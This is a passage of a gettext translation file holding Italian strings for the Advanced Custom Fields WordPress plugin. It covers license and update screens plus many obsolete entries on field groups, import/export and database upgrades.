msgstr "Pagina Opzioni"

#: pro/locations/class-acf-location-options-page.php:70
msgid "No options pages exist"
msgstr "Nessuna Pagina Opzioni esistente"

#: pro/admin/views/html-settings-updates.php:6
msgid "Deactivate License"
msgstr "Disattivare Licenza"

#: pro/admin/views/html-settings-updates.php:6
msgid "Activate License"
msgstr "Attiva Licenza"

#: pro/admin/views/html-settings-updates.php:16
msgid "License Information"
msgstr "Informazioni Licenza"

#: pro/admin/views/html-settings-updates.php:34
msgid ""
"To unlock updates, please enter your license key below. If you don't have a "
"licence key, please see <a href=\"%s\" target=\"_blank\">details & pricing</"
"a>."
msgstr ""
"Per sbloccare gli aggiornamenti, si prega di inserire la chiave di licenza "
"qui sotto. Se non hai una chiave di licenza, si prega di vedere <a href=\"%s"
"\" target=\"_blank\">Dettagli e prezzi</a>."

#: pro/admin/views/html-settings-updates.php:41
msgid "License Key"
msgstr "Chiave di licenza"

#: pro/admin/views/html-settings-updates.php:22
msgid "Your license key is defined in wp-config.php."
msgstr ""

#: pro/admin/views/html-settings-updates.php:29
msgid "Retry Activation"
msgstr ""

#: pro/admin/views/html-settings-updates.php:76
msgid "Update Information"
msgstr "Informazioni di aggiornamento"

#: pro/admin/views/html-settings-updates.php:83
msgid "Current Version"
msgstr "Versione corrente"

#: pro/admin/views/html-settings-updates.php:91
msgid "Latest Version"
msgstr "Ultima versione"

#: pro/admin/views/html-settings-updates.php:99
msgid "Update Available"
msgstr "Aggiornamento Disponibile"

#: pro/admin/views/html-settings-updates.php:116
msgid "No"
msgstr "No"

#: pro/admin/views/html-settings-updates.php:104
msgid "Yes"
msgstr "Si"

#: pro/admin/views/html-settings-updates.php:111
msgid "Please enter your license key above to unlock updates"
msgstr "Inserisci il tuo codice di licenza per sbloccare gli aggiornamenti"

#: pro/admin/views/html-settings-updates.php:109
msgid "Update Plugin"
msgstr "Aggiorna Plugin"

#: pro/admin/views/html-settings-updates.php:107
msgid "Please reactivate your license to unlock updates"
msgstr ""

#: pro/admin/views/html-settings-updates.php:124
msgid "Changelog"
msgstr "Novità"

#: pro/admin/views/html-settings-updates.php:134
msgid "Upgrade Notice"
msgstr "Avviso di Aggiornamento"

#~ msgid "Advanced Custom Fields"
#~ msgstr "Campi Personalizzati Avanzati"

#~ msgid "Field Groups"
#~ msgstr "Field Group"

#~ msgid "Field Group"
#~ msgstr "Field Group"

#~ msgid "Add New Field Group"
#~ msgstr ""
#~ "Aggiungi Nuovo \n"
#~ "Field Group"

#~ msgid "Edit Field Group"
#~ msgstr ""
#~ "Modifica \n"
#~ "Field Group"

#~ msgid "New Field Group"
#~ msgstr ""
#~ "Nuovo \n"
#~ "Field Group"

#~ msgid "View Field Group"
#~ msgstr ""
#~ "Visualizza \n"
#~ "Field Group"

#~ msgid "Search Field Groups"
#~ msgstr ""
#~ "Cerca \n"
#~ "Field Group"

#~ msgid "No Field Groups found"
#~ msgstr ""
#~ "Nessun \n"
#~ "Field Group\n"
#~ " Trovato"

#~ msgid "No Field Groups found in Trash"
#~ msgstr ""
#~ "Nessun \n"
#~ "Field Group\n"
#~ " trovato nel cestino"

#~ msgid "Field"
#~ msgstr "Campo"

#~ msgid "Add New Field"
#~ msgstr "Aggiungi Nuovo Campo"

#~ msgid "Edit Field"
#~ msgstr "Modifica Campo"

#~ msgid "New Field"
#~ msgstr "Nuovo Campo"

#~ msgid "View Field"
#~ msgstr "Visualizza Campo"

#~ msgid "Search Fields"
#~ msgstr "Ricerca Campi"

#~ msgid "No Fields found"
#~ msgstr "Nessun Campo trovato"

#~ msgid "No Fields found in Trash"
#~ msgstr "Nessun Campo trovato nel cestino"

#~ msgid "Inactive"
#~ msgstr "Inattivo"

#, php-format
#~ msgid "Inactive <span class=\"count\">(%s)</span>"
#~ msgid_plural "Inactive <span class=\"count\">(%s)</span>"
#~ msgstr[0] "Inattivo <span class=\"count\">(%s)</span>"
#~ msgstr[1] "Inattivo <span class=\"count\">(%s)</span>"

#~ msgid "Field group updated."
#~ msgstr ""
#~ "Field Group\n"
#~ " aggiornato."

#~ msgid "Field group deleted."
#~ msgstr ""
#~ "Field Group\n"
#~ " cancellato."

#~ msgid "Field group published."
#~ msgstr ""
#~ "Field Group\n"
#~ " pubblicato."

#~ msgid "Field group saved."
#~ msgstr ""
#~ "Field Group\n"
#~ " salvato."

#~ msgid "Field group submitted."
#~ msgstr ""
#~ "Field Group\n"
#~ " inviato."

#~ msgid "Field group scheduled for."
#~ msgstr ""
#~ "Field Group\n"
#~ " previsto."

#~ msgid "Field group draft updated."
#~ msgstr ""
#~ "Bozza \n"
#~ "Field Group\n"
#~ " aggiornata."

#~ msgid "The string \"field_\" may not be used at the start of a field name"
#~ msgstr ""
#~ "La stringa \"field_\" non può essere usata come inizio nel nome di un "
#~ "Campo"

#~ msgid "This field cannot be moved until its changes have been saved"
#~ msgstr ""
#~ "Questo Campo non può essere spostato fino a quando non saranno state "
#~ "salvate le modifiche"

#~ msgid "Field group title is required"
#~ msgstr "Il titolo del Field Group è richiesto"

#~ msgid "Move to trash. Are you sure?"
#~ msgstr "Sposta nel cestino. Sei sicuro?"

#~ msgid "Move Custom Field"
#~ msgstr "Sposta Campo Personalizzato"

#~ msgid "checked"
#~ msgstr "selezionato"

#~ msgid "(no label)"
#~ msgstr "(nessuna etichetta)"

#~ msgid "copy"
#~ msgstr "copia"

#~ msgid "or"
#~ msgstr "o"

#~ msgid "Null"
#~ msgstr "Nullo"

#~ msgid "Location"
#~ msgstr "Posizione"

#~ msgid "Settings"
#~ msgstr "Impostazioni"

#~ msgid "Field Keys"
#~ msgstr "Field Key"

#~ msgid "Active"
#~ msgstr "Attivo"

#~ msgid "Move Complete."
#~ msgstr "Spostamento Completato."

#, php-format
#~ msgid "The %s field can now be found in the %s field group"
#~ msgstr ""
#~ "Il Campo %s può essere trovato nel \n"
#~ "Field Group\n"
#~ " %s"

#~ msgid "Close Window"
#~ msgstr "Chiudi Finestra"

#~ msgid "Please select the destination for this field"
#~ msgstr "Per favore seleziona la destinazione per questo Campo"

#~ msgid "Move Field"
#~ msgstr "Sposta Campo"

#, php-format
#~ msgid "Active <span class=\"count\">(%s)</span>"
#~ msgid_plural "Active <span class=\"count\">(%s)</span>"
#~ msgstr[0] "Attivo <span class=\"count\">(%s)</span>"
#~ msgstr[1] "Attivo <span class=\"count\">(%s)</span>"

#, php-format
#~ msgid "Field group duplicated. %s"
#~ msgstr ""
#~ "Field Group\n"
#~ " duplicato. %s"

#, php-format
#~ msgid "%s field group duplicated."
#~ msgid_plural "%s field groups duplicated."
#~ msgstr[0] "%s Field Group duplicato."
#~ msgstr[1] "%s Field Group duplicati."

#, php-format
#~ msgid "Field group synchronised. %s"
#~ msgstr ""
#~ "Field Group\n"
#~ " sincronizzato. %s"

#, php-format
#~ msgid "%s field group synchronised."
#~ msgid_plural "%s field groups synchronised."
#~ msgstr[0] "%s Field Group sincronizzato."
#~ msgstr[1] "%s Field Group sincronizzati."

#~ msgid "Sync available"
#~ msgstr "Sync disponibile"

#~ msgid "Status"
#~ msgstr "Stato"

#~ msgid ""
#~ "Customise WordPress with powerful, professional and intuitive fields."
#~ msgstr ""
#~ "Personalizza WordPress con campi potenti, professionali e intuitivi."

#, php-format
#~ msgid "See what's new in <a href=\"%s\">version %s</a>."
#~ msgstr "Guarda cosa c'è di nuovo nella <a href=\"%s\">versione %s</a>."

#~ msgid "Resources"
#~ msgstr "Risorse"

#~ msgid "Website"
#~ msgstr "Sito Web"

#~ msgid "Documentation"
#~ msgstr "Documentazione"

#~ msgid "Support"
#~ msgstr "Supporto"

#~ msgid "Pro"
#~ msgstr "PRO"

#, php-format
#~ msgid "Thank you for creating with <a href=\"%s\">ACF</a>."
#~ msgstr "Grazie per aver creato con <a href=\"%s\">ACF</a>."

#~ msgid "Duplicate this item"
#~ msgstr "Duplica questo elemento"

#~ msgid "Search"
#~ msgstr "Ricerca"

#, php-format
#~ msgid "Select %s"
#~ msgstr "Seleziona %s"

#~ msgid "Synchronise field group"
#~ msgstr ""
#~ "Sincronizza \n"
#~ "Field Group"

#~ msgid "Sync"
#~ msgstr "Sync"

#~ msgid "Apply"
#~ msgstr "Applica"

#~ msgid "Bulk Actions"
#~ msgstr "Azioni di massa"

#~ msgid "Tools"
#~ msgstr "Strumenti"

#~ msgid "Custom Fields"
#~ msgstr "Campi Personalizzati"

#~ msgid "Upgrade Database"
#~ msgstr "Aggiorna Database"

#~ msgid "Review sites & upgrade"
#~ msgstr "Rivedi siti e aggiornamenti"

#~ msgid "Error validating request"
#~ msgstr "Errore di convalida richiesta"

#~ msgid "No updates available."
#~ msgstr "Nessun aggiornamento disponibile."

#~ msgid "Add-ons"
#~ msgstr "Add-ons"

#~ msgid "<b>Error</b>. Could not load add-ons list"
#~ msgstr "<b>Errore</b>. Impossibile caricare l'elenco Add-ons"

#~ msgid "Info"
#~ msgstr "Informazioni"

#~ msgid "What's New"
#~ msgstr "Cosa c'è di nuovo"

#~ msgid "Export Field Groups"
#~ msgstr ""
#~ "Esporta \n"
#~ "Field Group"

#~ msgid "Generate PHP"
#~ msgstr "Genera PHP"

#~ msgid "No field groups selected"
#~ msgstr ""
#~ "Nessun \n"
#~ "Field Group\n"
#~ " selezionato"

#, php-format
#~ msgid "Exported 1 field group."
#~ msgid_plural "Exported %s field groups."
#~ msgstr[0] "Esportato 1 gruppo di campi."
#~ msgstr[1] "Esportati %s gruppi di campi."

#~ msgid "Select Field Groups"
#~ msgstr ""
#~ "Cerca \n"
#~ "Field Group"

#~ msgid ""
#~ "Select the field groups you would like to export and then select your "
#~ "export method. Use the download button to export to a .json file which "
#~ "you can then import to another ACF installation. Use the generate button "
#~ "to export to PHP code which you can place in your theme."
#~ msgstr ""
#~ "Selezionare i \n"
#~ "Field Group\n"
#~ " che si desidera esportare e quindi selezionare il metodo di "
#~ "esportazione. Utilizzare il pulsante di download per esportare in un "
#~ "file .json che sarà poi possibile importare in un'altra installazione "
#~ "ACF. Utilizzare il pulsante generare per esportare il codice PHP che è "
#~ "possibile inserire nel vostro tema."

#~ msgid "Export File"
#~ msgstr "Esporta file"

#~ msgid ""
#~ "The following code can be used to register a local version of the "
#~ "selected field group(s). A local field group can provide many benefits "
#~ "such as faster load times, version control & dynamic fields/settings. "
#~ "Simply copy and paste the following code to your theme's functions.php "
#~ "file or include it within an external file."
#~ msgstr ""
#~ "Il codice seguente può essere utilizzato per registrare una versione "
#~ "locale del Field Group selezionato(i). Un Field Group locale può fornire "
#~ "numerosi vantaggi come ad esempio i tempi di caricamento più veloci, "
#~ "controllo di versione e campi / impostazioni dinamiche. Semplicemente "
#~ "copia e incolla il seguente codice nel file functions.php del vostro tema."

#~ msgid "Copy to clipboard"
#~ msgstr "Copia negli appunti"

#~ msgid "Copied"
#~ msgstr "Copiato"

#~ msgid "Import Field Groups"
#~ msgstr ""
#~ "Importa \n"
#~ "Field Group"

#~ msgid ""
#~ "Select the Advanced Custom Fields JSON file you would like to import. "
#~ "When you click the import button below, ACF will import the field groups."
#~ msgstr ""
#~ "Selezionare il file JSON di Advanced Custom Fields che si desidera "
#~ "importare. Quando si fa clic sul pulsante di importazione di seguito, ACF "
#~ "importerà i \n"
#~ "Field Group\n"
#~ "."

#~ msgid "Select File"
#~ msgstr "Seleziona File"

#~ msgid "Import File"
#~ msgstr "Importa file"

#~ msgid "No file selected"
#~ msgstr "Nessun file selezionato"

#~ msgid "Error uploading file. Please try again"
#~ msgstr "Errore caricamento file. Per favore riprova"

#~ msgid "Incorrect file type"
#~ msgstr "Tipo file non corretto"

#~ msgid "Import file empty"
#~ msgstr "File importato vuoto"

#, php-format
#~ msgid "Imported 1 field group"
#~ msgid_plural "Imported %s field groups"
#~ msgstr[0] "Importato 1 field group"
#~ msgstr[1] "Importati %s field groups"

#~ msgid "Conditional Logic"
#~ msgstr "Condizione Logica"

#~ msgid "Show this field if"
#~ msgstr "Mostra questo Campo se"

#~ msgid "and"
#~ msgstr "e"

#~ msgid "Add rule group"
#~ msgstr "Aggiungi gruppo di regole"

#~ msgid "Edit field"
#~ msgstr "Modifica Campo"

#~ msgid "Duplicate field"
#~ msgstr "Duplica Campo"

#~ msgid "Move field to another group"
#~ msgstr "Sposta"

#~ msgid "Move"
#~ msgstr "Sposta"

#~ msgid "Delete field"
#~ msgstr "Cancella Campo"

#~ msgid "Field Label"
#~ msgstr "Etichetta Campo"

#~ msgid "This is the name which will appear on the EDIT page"
#~ msgstr "Questo è il nome che apparirà sulla pagina Modifica"

#~ msgid "Field Name"
#~ msgstr "Nome Campo"

#~ msgid "Single word, no spaces. Underscores and dashes allowed"
#~ msgstr "Singola parola, nessun spazio. Sottolineatura e trattini consentiti"

#~ msgid "Field Type"
#~ msgstr "Tipo di Campo"

#~ msgid "Instructions"
#~ msgstr "Istruzioni"

#~ msgid "Instructions for authors. Shown when submitting data"
#~ msgstr ""
#~ "Istruzioni per gli autori. Mostrato al momento della presentazione dei "
#~ "dati"

#~ msgid "Required?"
#~ msgstr "Richiesto?"

#~ msgid "Wrapper Attributes"
#~ msgstr "Attributi Contenitore"

#~ msgid "width"
#~ msgstr "larghezza"

#~ msgid "class"
#~ msgstr "classe"

#~ msgid "id"
#~ msgstr "id"

#~ msgid "Close Field"
#~ msgstr "Chiudi Campo"

#~ msgid "Order"
#~ msgstr "Ordinamento"

#~ msgid "Key"
#~ msgstr "Chiave"

#~ msgid "Type"
#~ msgstr "Tipo"

#~ msgid ""
#~ "No fields. Click the <strong>+ Add Field</strong> button to create your "
#~ "first field."
#~ msgstr ""
#~ "Nessun Campo. Clicca il bottone <strong>+ Aggiungi Campo</strong> per "
#~ "creare il primo campo."

#~ msgid "+ Add Field"
#~ msgstr "+ Aggiungi Campo"

#~ msgid "Rules"
#~ msgstr "Regole"

#~ msgid ""
#~ "Create a set of rules to determine which edit screens will use these "
#~ "advanced custom fields"
#~ msgstr ""
#~ "Creare un insieme di regole per determinare quale schermate in modifica "
#~ "dovranno utilizzare i campi personalizzati avanzati"

#~ msgid "Style"
#~ msgstr "Stile"

#~ msgid "Standard (WP metabox)"
#~ msgstr "Standard (metabox WP)"

#~ msgid "Seamless (no metabox)"
#~ msgstr "Senza giunte (senza metabox)"

#~ msgid "Position"
#~ msgstr "Posizione"

#~ msgid "High (after title)"
#~ msgstr "Alto (dopo il titolo)"

#~ msgid "Normal (after content)"
#~ msgstr "Normale (dopo contenuto)"

#~ msgid "Side"
#~ msgstr "A lato"

#~ msgid "Label placement"
#~ msgstr "Posizionamento etichette"

#~ msgid "Top aligned"
#~ msgstr "Allineamento in alto"

#~ msgid "Left aligned"
#~ msgstr "Allineamento a sinistra"

#~ msgid "Instruction placement"
#~ msgstr "Posizionamento Istruzione"

#~ msgid "Below labels"
#~ msgstr "Sotto etichette"

#~ msgid "Below fields"
#~ msgstr "Sotto campi"

#~ msgid "Order No."
#~ msgstr "N. Ordinamento"

#~ msgid "Field groups with a lower order will appear first"
#~ msgstr ""
#~ "Field groups come inizialmente viene visualizzato in un ordine inferiore"

#~ msgid "Shown in field group list"
#~ msgstr "Mostrato in lista field group"

#~ msgid "Hide on screen"
#~ msgstr "Nascondi nello schermo"

#~ msgid "<b>Select</b> items to <b>hide</b> them from the edit screen."
#~ msgstr ""
#~ "<b>Seleziona</b> gli elementi per <b>nasconderli</b> dalla pagina "
#~ "Modifica."

#~ msgid ""
#~ "If multiple field groups appear on an edit screen, the first field "
#~ "group's options will be used (the one with the lowest order number)"
#~ msgstr ""
#~ "Se più gruppi di campi appaiono su una schermata di modifica, verranno "
#~ "usate le opzioni del primo Field Group usato (quello con il numero "
#~ "d'ordine più basso)"

#~ msgid "Permalink"
#~ msgstr "Permalink"

#~ msgid "Content Editor"
#~ msgstr "Editor Contenuto"

#~ msgid "Excerpt"
#~ msgstr "Estratto"

#~ msgid "Discussion"
#~ msgstr "Discussione"

#~ msgid "Comments"
#~ msgstr "Commenti"

#~ msgid "Revisions"
#~ msgstr "Revisioni"

#~ msgid "Slug"
#~ msgstr "Slug"

#~ msgid "Author"
#~ msgstr "Autore"

#~ msgid "Format"
#~ msgstr "Formato"

#~ msgid "Page Attributes"
#~ msgstr "Attributi di Pagina"

#~ msgid "Featured Image"
#~ msgstr "Immagine di presentazione"

#~ msgid "Categories"
#~ msgstr "Categorie"

#~ msgid "Tags"
#~ msgstr "Tag"

#~ msgid "Send Trackbacks"
#~ msgstr "Invia Trackbacks"

#~ msgid "Show this field group if"
#~ msgstr ""
#~ "Mostra questo \n"
#~ "Field Group\n"
#~ " se"

#~ msgid "Upgrade Sites"
#~ msgstr "Aggiornamento siti"

#~ msgid "Advanced Custom Fields Database Upgrade"
#~ msgstr ""
#~ "Aggiornamento Database \n"
#~ "Advanced Custom Fields"

#, php-format
#~ msgid ""
#~ "The following sites require a DB upgrade. Check the ones you want to "
#~ "update and then click %s."
#~ msgstr ""
#~ "I seguenti siti hanno necessità di un aggiornamento del DB. Controlla "
#~ "quelli che vuoi aggiornare e clicca %s."

#~ msgid "Site"
#~ msgstr "Sito"

#, php-format
#~ msgid "Site requires database upgrade from %s to %s"
#~ msgstr "Il sito necessita di un aggiornamento Database da %s a %s"

#~ msgid "Site is up to date"
#~ msgstr "Il sito è aggiornato"

#, php-format
#~ msgid ""
#~ "Database Upgrade complete. <a href=\"%s\">Return to network dashboard</a>"
#~ msgstr ""
#~ "Aggiornamento Database completato. <a href=\"%s\">Ritorna alla Network "
#~ "Dashboard</a>"

#~ msgid ""
#~ "It is strongly recommended that you backup your database before "
#~ "proceeding. Are you sure you wish to run the updater now?"
#~ msgstr ""
#~ "Si raccomanda vivamente di eseguire il backup del database prima di "
#~ "procedere. Sei sicuro che si desidera eseguire il programma di "
#~ "aggiornamento adesso?"

#~ msgid "Upgrade complete"
#~ msgstr "Aggiornamento completato"

#, php-format
#~ msgid "Upgrading data to version %s"
#~ msgstr "Aggiornamento dati alla versione %s"

#~ msgid "Database Upgrade Required"
#~ msgstr "Aggiornamento Database richiesto"

#, php-format
#~ msgid "Thank you for updating to %s v%s!"
#~ msgstr "Grazie per aver aggiornato a %s v%s!"

#~ msgid ""
#~ "Before you start using the new awesome features, please update your "
#~ "database to the newest version."
#~ msgstr ""
#~ "Prima di iniziare ad utilizzare queste nuove fantastiche funzionalità, "
#~ "aggiorna il tuo Database alla versione più attuale."

#, php-format
#~ msgid ""
#~ "Please also ensure any premium add-ons (%s) have first been updated to "
#~ "the latest version."
#~ msgstr ""
#~ "Si prega di assicurarsi che anche i componenti premium (%s) siano prima "
#~ "stati aggiornati all'ultima versione."

#~ msgid "Reading upgrade tasks..."
#~ msgstr "Lettura attività di aggiornamento ..."

#, php-format
#~ msgid "Database Upgrade complete. <a href=\"%s\">See what's new</a>"
#~ msgstr ""
#~ "Aggiornamento del database completato. <a href=\"%s\">Guarda le novità</a>"

#~ msgid "Download & Install"
#~ msgstr "Scarica & Installa"

#~ msgid "Installed"
#~ msgstr "Installato"

#~ msgid "Welcome to Advanced Custom Fields"
#~ msgstr "Benvenuto in Advanced Custom Fields"

#, php-format
#~ msgid ""
#~ "Thank you for updating! ACF %s is bigger and better than ever before. We "
#~ "hope you like it."
#~ msgstr ""
#~ "Grazie per l'aggiornamento! ACF %s è più grande e migliore che mai. "
#~ "Speriamo che vi piaccia."

#~ msgid "A smoother custom field experience"
#~ msgstr "Campi Personalizzati come non li avete mai visti"

#~ msgid "Improved Usability"
#~ msgstr "Migliorata Usabilità"

#~ msgid ""
#~ "Including the popular Select2 library has improved both usability and "
#~ "speed across a number of field types including post object, page link, "
#~ "taxonomy and select."
#~ msgstr ""
#~ "Inclusa la famosa biblioteca Select2, che ha migliorato sia l'usabilità, "
#~ "che la velocità di Campi come Post, Link, Tassonomie e Select."

#~ msgid "Improved Design"
#~ msgstr "Miglioramento del Design"

#~ msgid ""
#~ "Many fields have undergone a visual refresh to make ACF look better than "
#~ "ever! Noticeable changes are seen on the gallery, relationship and oEmbed "
#~ "(new) fields!"
#~ msgstr ""
#~ "Molti Campi hanno subito un aggiornamento visivo per rendere ACF un "
#~ "aspetto migliore che mai! Notevoli cambiamenti li trovate nei Campi "
#~ "Gallery, Relazioni e oEmbed (nuovo)!"

#~ msgid "Improved Data"
#~ msgstr "Miglioramento dei dati"

#~ msgid ""
#~ "Redesigning the data architecture has allowed sub fields to live "
#~ "independently from their parents. This allows you to drag and drop fields "
#~ "in and out of parent fields!"
#~ msgstr ""
#~ "Ridisegnare l'architettura dei dati ha permesso ai Sotto-Campi di vivere "
#~ "in modo indipendente dai loro Genitori. Ciò consente di trascinare e "
#~ "rilasciare i Campi dentro e fuori i Campi Genitore!"

#~ msgid "Goodbye Add-ons. Hello PRO"
#~ msgstr "Ciao, ciao Add-ons. Benvenuto PRO"

#~ msgid "Introducing ACF PRO"
#~ msgstr "Introduzione ACF PRO"

#~ msgid ""
#~ "We're changing the way premium functionality is delivered in an exciting "
#~ "way!"
#~ msgstr "Stiamo cambiando in modo eccitante le funzionalità Premium!"

#, php-format
#~ msgid ""
#~ "All 4 premium add-ons have been combined into a new <a href=\"%s\">Pro "
#~ "version of ACF</a>. With both personal and developer licenses available, "
#~ "premium functionality is more affordable and accessible than ever before!"
#~ msgstr ""
#~ "Parallelamente ACF5 è la versione tutta nuova di <a href=\"%s\">ACF5 PRO</"
#~ "a>! Questa versione PRO include tutti e 4 i componenti aggiuntivi premium "
#~ "(Repeater, Gallery, Flexible Content e Pagina Opzioni) e con le licenze "
#~ "personali e di sviluppo disponibili, funzionalità premium è più "
#~ "conveniente che mai!"

#~ msgid "Powerful Features"
#~ msgstr "Potenti funzionalità"

#~ msgid ""
#~ "ACF PRO contains powerful features such as repeatable data, flexible "
#~ "content layouts, a beautiful gallery field and the ability to create "
#~ "extra admin options pages!"
#~ msgstr ""
#~ "ACF PRO contiene caratteristiche impressionanti come i Campi Repeater, "
#~ "Flexible Layout, Gallery e la possibilità di creare Options Page (pagine "
#~ "opzioni di amministrazione) personalizzabili!"

#, php-format
#~ msgid "Read more about <a href=\"%s\">ACF PRO features</a>."
#~ msgstr "Scopri di più sulle <a href=\"%s\">funzionalità di ACF PRO</a>."

#~ msgid "Easy Upgrading"
#~ msgstr "Aggiornamento facile"

#, php-format
#~ msgid ""
#~ "To help make upgrading easy, <a href=\"%s\">login to your store account</"
#~ "a> and claim a free copy of ACF PRO!"
#~ msgstr ""
#~ "Per rendere più semplice gli aggiornamenti, \n"
#~ "<a href=\"%s\">accedi al tuo account</a> e richiedi una copia gratuita di "
#~ "ACF PRO!"

#, php-format
#~ msgid ""
#~ "We also wrote an <a href=\"%s\">upgrade guide</a> to answer any "
#~ "questions, but if you do have one, please contact our support team via "
#~ "the <a href=\"%s\">help desk</a>"
#~ msgstr ""
#~ "Abbiamo inoltre scritto una <a href=\"%s\">guida all'aggiornamento</a> "
#~ "per rispondere alle vostre richieste, ma se ne avete di nuove, contattate "
#~ "il nostro <a href=\"%s\">help desk</a>"

#~ msgid "Under the Hood"
#~ msgstr "Sotto il cofano"

#~ msgid "Smarter field settings"
#~ msgstr "Impostazioni dei Campi più intelligenti"

#~ msgid "ACF now saves its field settings as individual post objects"
#~ msgstr ""
#~ "ACF ora salva le impostazioni dei Campi come oggetti Post individuali"

#~ msgid "More AJAX"
#~ msgstr "Più AJAX"

#~ msgid "More fields use AJAX powered search to speed up page loading"
#~ msgstr ""
#~ "Altri campi utilizzano la ricerca di AJAX per velocizzare il caricamento "
#~ "della pagina"

#~ msgid "Local JSON"
#~ msgstr "JSON locale"

#~ msgid "New auto export to JSON feature improves speed"
#~ msgstr ""
#~ "Nuovo esportazione automatica di funzionalità JSON migliora la velocità"

#~ msgid "Better version control"
#~ msgstr "Migliore versione di controllo"

#~ msgid ""
#~ "New auto export to JSON feature allows field settings to be version "
#~ "controlled"
#~ msgstr ""
#~ "Nuova esportazione automatica di funzione JSON consente impostazioni dei "
#~ "campi da versione controllati"

#~ msgid "Swapped XML for JSON"
#~ msgstr "XML scambiato per JSON"

#~ msgid "Import / Export now uses JSON in favour of XML"
#~ msgstr "Importa / Esporta ora utilizza JSON a favore di XML"

#~ msgid "New Forms"
#~ msgstr "Nuovi Forme"

#~ msgid "Fields can now be mapped to comments, widgets and all user forms!"
#~ msgstr ""
#~ "I campi possono essere mappati con i commenti, widget e tutte le forme "
#~ "degli utenti!"

#~ msgid "A new field for embedding content has been added"
#~ msgstr "È stato aggiunto un nuovo campo per incorporare contenuti"

#~ msgid "New Gallery"
#~ msgstr "Nuova Galleria"

#~ msgid "The gallery field has undergone a much needed facelift"
#~ msgstr "Il campo galleria ha subito un lifting tanto necessario"

#~ msgid "New Settings"
#~ msgstr "Nuove Impostazioni"

#~ msgid ""
#~ "Field group settings have been added for label placement and instruction "
#~ "placement"
#~ msgstr ""
#~ "Sono state aggiunte impostazioni di gruppo sul Campo per l'inserimento "
#~ "dell'etichetta e il posizionamento di istruzioni"

#~ msgid "Better Front End Forms"
#~ msgstr "Forme Anteriori migliori"

#~ msgid "acf_form() can now create a new post on submission"
#~ msgstr "acf_form() può ora creare un nuovo post di presentazione"

#~ msgid "Better Validation"
#~ msgstr "Validazione Migliore"

#~ msgid "Form validation is now done via PHP + AJAX in favour of only JS"
#~ msgstr ""
#~ "Validazione del form ora avviene tramite PHP + AJAX in favore del solo JS"

#~ msgid "Relationship Field"
#~ msgstr "Campo Relazione"

#~ msgid ""
#~ "New Relationship field setting for 'Filters' (Search, Post Type, Taxonomy)"
#~ msgstr ""
#~ "Nuove Impostazione Campo Relazione per i 'Filtri' (Ricerca, Tipo di Post, "
#~ "Tassonomia)"

#~ msgid "Moving Fields"
#~ msgstr "Spostamento Campi"

#~ msgid ""
#~ "New field group functionality allows you to move a field between groups & "
#~ "parents"
#~ msgstr ""
#~ "La nuova funzionalità di Field Group consente di spostare un campo tra i "
#~ "gruppi e genitori"

#~ msgid "Page Link"
#~ msgstr "Link Pagina"

#~ msgid "New archives group in page_link field selection"
#~ msgstr "Nuovo gruppo archivi in materia di selezione page_link"

#~ msgid "Better Options Pages"
#~ msgstr "Migliori Pagine Opzioni"

#~ msgid ""
#~ "New functions for options page allow creation of both parent and child "
#~ "menu pages"
#~ msgstr ""
#~ "Nuove funzioni per la Pagina Opzioni consentono la creazione di pagine "
#~ "menu genitore e figlio"

#, php-format
#~ msgid "We think you'll love the changes in %s."
#~ msgstr "Pensiamo che amerete i cambiamenti in %s."

#~ msgid "Thumbnail"
#~ msgstr "Thumbnail"

#~ msgid "Medium"
#~ msgstr "Medio"

#~ msgid "Large"
#~ msgstr "Grande"

#~ msgid "Full Size"
#~ msgstr "Dimensione piena"

#, php-format
#~ msgid "Image width must be at least %dpx."
#~ msgstr "La larghezza dell'immagine deve essere di almeno %dpx."

#, php-format
#~ msgid "Image width must not exceed %dpx."
#~ msgstr "La larghezza dell'immagine non deve superare i %dpx."

#, php-format
#~ msgid "Image height must be at least %dpx."
#~ msgstr "L'altezza dell'immagine deve essere di almeno %dpx."

#, php-format
#~ msgid "Image height must not exceed %dpx."
#~ msgstr "L'altezza dell'immagine non deve superare i %dpx."

#, php-format
#~ msgid "File size must be at least %s."
#~ msgstr "La dimensione massima deve essere di almeno %s."

#, php-format
#~ msgid "File size must must not exceed %s."
#~ msgstr "La dimensione massima non deve superare i %s."

#, php-format
#~ msgid "File type must be %s."
#~ msgstr "La tipologia del File deve essere %s."

#~ msgid ""
#~ "The changes you made will be lost if you navigate away from this page"
#~ msgstr ""
#~ "Le modifiche effettuate verranno cancellate se si esce da questa pagina"

#~ msgctxt "verb"
#~ msgid "Select"
#~ msgstr "Seleziona"

#~ msgctxt "verb"
#~ msgid "Edit"
#~ msgstr "Modifica"

#~ msgctxt "verb"
#~ msgid "Update"
#~ msgstr "Aggiorna"

#~ msgid "Uploaded to this post"
#~ msgstr "Caricato in questo Post"

#~ msgid "Expand Details"
#~ msgstr "Espandi Dettagli"

#~ msgid "Collapse Details"
#~ msgstr "Chiudi Dettagli"

#~ msgid "Restricted"
#~ msgstr "Limitato"

#~ msgid "All images"
#~ msgstr "Tutte le immagini"

#~ msgid "Validation successful"
#~ msgstr "Validazione avvenuta con successo"

#~ msgid "Validation failed"
#~ msgstr "Validazione fallita"

#~ msgid "1 field requires attention"
#~ msgstr "1 Campo necessita di attenzioni"

#, php-format
#~ msgid "%d fields require attention"
#~ msgstr "%d Campi necessitano di attenzioni"

#~ msgid "Are you sure?"
#~ msgstr "Sei sicuro?"

#~ msgid "Cancel"
#~ msgstr "Annulla"

#~ msgid "Has any value"
#~ msgstr "Ha qualunque valore"

#~ msgid "Has no value"
#~ msgstr "Non ha un valore"

#~ msgid "Value is equal to"
#~ msgstr "Valore è uguale a"

#~ msgid "Value is not equal to"
#~ msgstr "Valore non è uguale a"

#~ msgid "Value matches pattern"
#~ msgstr "Valore corrisponde a modello"

#~ msgid "Value contains"
#~ msgstr "Valore contiene"

#~ msgid "Value is greater than"
#~ msgstr "Valore è maggiore di"

#~ msgid "Value is less than"
#~ msgstr "Valore è meno di"

#~ msgid "Selection is greater than"
#~ msgstr "Selezione è maggiore di"

#~ msgid "Selection is less than"
#~ msgstr "Selezione è meno di"

#~ msgid "Basic"
#~ msgstr "Base"

#~ msgid "Content"
#~ msgstr "Contenuto"

#~ msgid "Choice"
#~ msgstr "Scegli"

#~ msgid "Relational"
#~ msgstr "Relazionale"

#~ msgid "jQuery"
#~ msgstr "jQuery"

#~ msgid "Field type does not exist"
#~ msgstr "Il tipo di Campo non esiste"

#~ msgid "Unknown"
#~ msgstr "Sconosciuto"

#~ msgid "Accordion"
#~ msgstr "Fisarmonica"

#~ msgid "Open"
#~ msgstr "Apri"

#~ msgid "Display this accordion as open on page load."
